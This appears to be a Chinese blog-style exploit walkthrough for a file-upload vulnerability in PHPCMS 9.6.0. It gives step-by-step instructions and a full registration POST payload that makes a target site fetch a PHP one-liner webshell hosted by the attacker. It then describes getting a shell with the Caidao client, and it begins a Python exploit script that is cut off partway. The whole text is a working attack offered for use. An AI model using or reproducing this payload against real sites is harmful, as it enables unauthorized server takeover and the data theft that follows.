phpcms9.6.0新版出现文件上传漏洞

对于PHPcms9.6.0 最新版漏洞，具体利用步骤如下：

首先我们在本地搭建一个php环境，我这里是appserv（只要可以执行php文件就行）

在根目录下新建一个txt文本文件里面写上php一句话，如上图可以访问

接着我们找到phpcms网站注册模块，随便填一下信息

然后我们用burpsuite抓包

然后发送到repeater

我们在最下面的注册那儿使用img标签插入我们本地第一步搭建的一句话

poc如下：

siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email[email protected]&info[content]=<img src=http://192.168.1.157/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=

只需要修改img里面的链接为你本地写入的一句话即可，还有要注意的是在repeater里测试go时每一次都要修改username，password和email字段值（不能重复，汗）

我们可以看到repeater里MYSQL query成功插入，接着访问上图repeater里我标黄语句，执行一句话

连接菜刀，getshell

利用方式二：

利用火狐的插件，操作如下

exp如下：

# -*- coding:utf-8 -*-
import requests
import sys
from datetime import datetime
def getTime():
    year = str(datetime.now().year)
    month = "%02d" % datetime.now().month
    day = "%02d" % datetime.now().day
    hour = datetime.now().hour
    hour = hour - 12 if hour > 12 else hour
    hour = "%02d" % hour
    minute = "%02d" % datetime.now().minute
    second = "%02d" % datetime.now().second
    microsecond = "%06d" % datetime.now().microsecond
    microsecond = microsecond[:3]
    nowTime = year + month + day + hour + minute + second + microsecond
    return int(nowTime), year + "/" + month + day + "/"
